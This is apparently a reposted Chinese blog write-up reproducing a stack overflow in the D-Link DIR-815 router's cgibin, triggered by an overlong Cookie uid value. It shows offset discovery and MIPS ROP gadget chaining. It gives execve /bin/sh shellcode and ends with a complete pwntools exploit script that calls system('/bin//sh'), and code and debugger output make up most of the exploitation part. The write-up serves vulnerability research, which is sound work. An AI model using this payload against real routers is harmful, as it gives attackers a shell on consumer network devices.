路由器漏洞挖掘之 DIR-815 棧溢出漏洞分析


這次筆者來復現一個比較經典的棧溢出漏洞:D-link dir-815 棧溢出。其實這個路由器的棧溢出漏洞的利用方式和之前 DVRF 靶機平台的棧溢出例子大同小異,只是需要注意下一些小的地方。

前言

這個棧溢出的原因是由於 cookie 的值過長導致的棧溢出。服務端取得客戶端請求的 HTTP 頭中 Cookie 字段中 uid 的值,格式化到棧上導致溢出。

漏洞分析

大體流程

首先還是先將 cgibin 加載到 IDA 中,定位到 sobj_get_string 函數。

在 sobj_get_string 函數中,取得 "uid=" 后的值

image_1d96gen7p3rm1v7s1pnl1hqc1s4v9.png-81.6kB

sprintf($sp, 0x4E8+var_428,"%s/%s/postxml","/runtime/session",getenv("HTTP_COOKIE"))

在執行完 sprintf 函數后,在棧上已經產生了溢出

image_1d96gg52b2v91vlr1o0do0o5vkm.png-60.3kB

將0x76FEE8CC 地址處的值賦值給 ra 寄存器

image_1d96ggvu5cb28da5216mu11fu13.png-276.7kB

在 jr $ra 時就觸發了棧溢出

image_1d96ghndc1vf6huhht81jfh1fdi1g.png-76.9kB

  • 但是在真實的路由器環境中存在 /var/tmp/temp.xml 的文件,所以真正的可利用的棧溢出是位於 0x0040997C 處的 sprintf 函數

image_1d96gjalbog81b0ugurvv21ke61t.png-133kB

最后在執行完函數之后,還是會觸發這個棧溢出

image_1d96gk04i1i1a1pem1gri1b5410lb2a.png-92.6kB

漏洞利用

這里還是使用 patternLocOffset.py 來生成一個填充文件

python patternLocOffset.py -c -l 1600 -f dir_815_overflow

但是注意在 string 的前面需要加上 "uid=",因為這里會執行 sobj_get_string("uid=") 函數,來取到參數 uid 的值,如果沒有 uid 參數的話程序會直接結束

image_1d96gld4adds1ee2cki1memsib2n.png-139.5kB

同樣執行 run.sh 腳本來動態調試

sudo ./run.sh "uid=1234" `cat dir_815_overflow` -d

在 0x00409A28 處下斷點。
這里 ra 的值是 0x68423668,在 patternLocOffset.py 中確定偏移

image_1d96gn9hgj0a11651vsg16mj1hb744.png-88.2kB

這里偏移是 1009

nick@nick-machine:~/iot/tools$ python patternLocOffset.py -s 0x68423668 -l 1600
[*] Create pattern string contains 1600 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 1009 (adjusted another-endian)
[+] take time: 0.0301 s

所以我們構造

nick@nick-machine:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ python -c "print 'uid='+'a'*1009+'\x78\x56\x34\x12'" > payload
nick@nick-machine:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo ./run.sh "uid=1234" `cat payload` -d

這里就成功控制了返回地址

image_1d96gp53q1e6fnujlvg10rt1hf74h.png-75.8kB

ROP 鏈的構造

關於 ROP 鏈的構造可以參考筆者的前幾篇文章:

傳送們:
https://www.anquanke.com/post/id/172126
https://www.anquanke.com/post/id/173362

  • 圖片顯示不出來的話可以掛個梯子。

同樣的我們把 ROP 的構造分為兩塊:調用 sleep(1) 函數和調用 shellcode

獲取基本信息

這里在本地使用 gdb-mul 工具,命令target remote :23946 連接上 gdbserver 之后,在 0x00409A28 出下斷,使用 vmmap 查看區段的映射情況,找到 libc 的基地址 0x76738000

image_1d96gq8bq1j7o1pv119ru1sis1g094u.png-140.8kB

之后找到 libc 文件,把他加載到 IDA 中。

image_1d96grj3t70k1dhj12ggare1opv5r.png-174.8kB

調用 sleep(1) 函數

這里為了更好展示和理解,畫了一幅流程圖,看確定在使用 mipsrop 工具下,各個 ROP 的調用順序

image_1d96gt0jti7p1tkb1ed1jv9l1475.png-37.1kB

找到 sleep 函數的參數

先使用 "li $a0,1" 來尋找 rop,在 0x00057E50 處發現一條合適的指令。這里的 s1 寄存器設置成下一條 gadget 的地址。

image_1d96gtu268eh1qel1q19231q687i.png-108.7kB

此時的 payload:

base_addr = 0x76738000

rop1 = 0x0003E524

padding = 'uid=' + 'a' * 973
padding += 'a' * 4                              # s0
padding += p32(base_addr + rop1)                # s1
padding += 'a' * 4                              # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += 'a' * 4                              # s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp

rop2 = 0x00057E50

payload = padding + p32(base_addr + rop2)

接着使用 mipsrop.tail(),准備填充 ra 寄存器

image_1d96gv7bs1b4uvd4ij3aor1v0g7v.png-101.7kB

在指令 0x0003E528 處,可以看到 sp 和 ra 寄存器的距離為 0x24,所以這里的填充為 0x24,后面的四個字節就是 ra 寄存器的值(給 ra 寄存器賦值)

.text:0003E528                 lw      $ra, 0x28+var_4($sp)

這里需要跳轉到 sleep 函數去執行,所以 s2 寄存器就填充為 sleep 函數的地址,ra 寄存器填充為下一個 gadget 的地址,這樣就可以達到在執行完 sleep 函數刷新緩存的同時,執行 jr $ra 跳轉到想到的地址。

這時的 payload:

base_addr = 0x76738000

sleep_addr = 0x00056BD0
rop1 = 0x0003E524

padding = 'uid=' + 'a' * 973
padding += 'a' * 4                              # s0
padding += p32(base_addr + rop1)                # s1
padding += p32(base_addr + sleep_addr)          # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += 'a' * 4                              # s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp

rop2 = 0x00057E50

payload = padding + p32(base_addr + rop2)
  • 注意各個寄存器的位置

構造 shellcode

接着是使用 mipsrop.stackfinder() 查找 gadget,做好往棧上填充 shellcode 的准備

這里找到一條指令 ,我們可以往 $sp+0x18 的位置填充 shellcode,此時 a1 寄存器就存放着 shellcode 的地址

.text:0000B814                 addiu   $a1, $sp, 0x168+var_150

image_1d96h1kask1111do3jjhkcqe8c.png-108.4kB

最后使用 mipsrop.find("move $t9,$a1") 找到可以跳到到 a1 寄存器的指令。
找到 0x00037E6C 這里的 gadget,正好滿足我們的需求。

image_1d96h2e901b7n1tkq121e18g910e38p.png-97.6kB

調用 shellcode 時的 payload:

rop3 = 0x0000B814               # mipsrop.stackfinder()

rop4 = 0x00037E6C               # mipsrop.find("move $t9,$a1")
payload += 'b' * 0x1c           # 上一步調用完 sleep 函數的填充(mipsrop.tail())
payload += p32(base_addr + rop4)                # s1
payload += 'b' * 4                              # s2     
payload += p32(base_addr + rop3)                # ra


shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload += 'f' * 0x18       # mipsrop.stackfinder() 查找到的指令的填充值
payload += shellcode        # 放置 shellcode

在 gdb 中開啟調試,發現最后成功跳轉到 shellcode 的位置

image_1d96h3ppqp6jqt219qpmuqgdm96.png-128.9kB

執行 shellcode

image_1d96h4h6qnf1d9kmsjri1g1d9j.png-147.4kB

但是這里不知道為什么無法會報錯 Illegal instruction

image_1d96h5er67ev1spv3dncce8maa0.png-63.1kB

這里還可以使用調用 system 函數的方法來 getshell。

調用 syetem 函數的方法 getshell

我們的目的是執行 system("/bin/sh\x00"),這里的參數可以使用 mipsrop.stackfinder() 的 gadget 來把 "/bin/sh\x00" 傳到棧上。之后將這個棧的位置傳入 a0 寄存器,這樣就達到了利用的目的

我們首先在 libc.so 中找到 system 函數的位置,在 0x00053200 處,顯然地址的最低位是壞字節,沒辦法直接傳入

image_1d96hg1nfgsqg7beci8693b9.png-78.1kB

這里參考了《揭秘家用路由器0day漏洞挖掘技術》一書的方法:先將 system 函數的地址 -1 傳入某個寄存器中,之后找到對這個寄存器進行加 +1 的操作的 gadget 進行調用即可將地址恢復到 0x53200。

具體操作

這里還是用流程圖來表示 gadget 的生成過程:

image_1d96hgnfq134b1ekt12kd142q3pom.png-32.6kB

首先利用溢出把 0x53200 -1 傳入 s0 寄存器,之后尋找 s0+1 的指令

Python>mipsrop.find("addiu $s0,1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000158C8 | addiu $s0,1 | jalr $s5 |
| 0x000158D0 | addiu $s0,1 | jalr $s5 |
| 0x0002374C | addiu $s0,1 | jalr $fp |
| 0x0002D194 | addiu $s0,1 | jalr $s5 |
......
---------------------------------------

這里使用第一個 gadget ,指令的意思是直接跳到 s5 寄存器指向的地址,所以上一步溢出時需要事先把 s5 填充為下一個 gadget 的地址

image_1d96hi11c1jr2s8t1vi1d8qde913.png-7.8kB

接着使用 mipsrop.stackfinder() 查找 gadget:

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0000B814 | addiu $a1,$sp,0x168+var_150 | jalr $s1 |
| 0x0000B830 | addiu $a1,$sp,0x168+var_B0 | jalr $s1 |
| 0x0000DEF0 | addiu $s2,$sp,0xC8+var_B8 | jalr $s4 |
| 0x00013F74 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
| 0x00014F28 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
| 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 |
......

選擇 0x159cc 這個 gadget ,雙擊進入查看指令

image_1d96hl9qt1dimhb111un10f51mhj2t.png-10.2kB

之所以選擇這個 gadget 的原因是因為這里我們可以通過溢出,直接在棧上操縱 a0 寄存器

  • 或者這里也可以使用 mipsrop.system() 來查找 rop 鏈,這類的 gadget 指令的作用主要是將棧上可控的數據直接傳遞給 a0 寄存器,如下:
Python>mipsrop.system()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00042F60 | addiu $a0,$sp,0x38+var_20 | jalr $a0 |
| 0x000567A0 | addiu $a0,$sp,0xA0+var_88 | jalr $s4 |
| 0x00027440 | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_4($sp) |
| 0x000330F8 | addiu $a0,$sp,0x78+var_60 | jr 0x78+var_4($sp) |
| 0x00036360 | addiu $a0,$sp,0x48+var_30 | jr 0x48+var_4($sp) |
| 0x0003F8FC | addiu $a0,$sp,0x50+var_38 | jr 0x50+var_4($sp) |
| 0x00042F6C | addiu $a0,$sp,0x38+var_20 | jr 0x38+var_4($sp) |
----------------------------------------------------------------

之后通過 jalr $s0,這里的 s0 的值為原來 0x531ff+1 后復原的 system 地址的值,也就跳轉到了 system("/bin//sh") 函數。

exp

#!/usr/bin/python
from pwn import *

context.endian="little"
context.arch="mips"

base_addr = 0x76738000

system_addr_1 = 0x53200-1
rop1 = 0x000158C8
rop2 = 0x159CC

padding = 'uid=' + 'a' * 973
padding += p32(base_addr + system_addr_1)                              # s0
padding += 'a' * 4		                # s1
padding += 'a' * 4		                # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += p32(base_addr+rop2)       		# s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp

padding += p32(base_addr + rop1)		# ra

#------------------------- stack 2 ----------------------------
padding += 'b' * 0x10
padding += '/bin//sh'

with open("call_system_padding",'wb') as f:
	f.write(padding)

f.close()

動態調試

依然是使用 gdb 在 0x00409A28 處下斷點,第一步先跳轉到對 s0 加一的 gadget 處

image_1d96hn7omjrlfabd441eck12jo3a.png-187.4kB

之后跳轉到 s5 寄存器的地址處,把 $sp + 0x10 處的地址傳入 s5 寄存器,可以看到這里已經填充完成

image_1d96hnu7b772j8unmlm9bb4h3n.png-143.6kB

此時就跳轉到了 system 函數,這樣就獲得了一個 shell。

image_1d96hotga82tspid321d1q18e24k.png-174.7kB

總結

路由器的棧溢出的漏洞點都比較單一,大多數都是由 sprintf 和 strcpy 等函數使用不當造成的。構造 ROP 的方法比較固定,只要對於 mipsrop 這個工具有個熟練的掌握和運用,在尋找 gadget 時腦回路清晰一些,利用的過程也不算太難。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM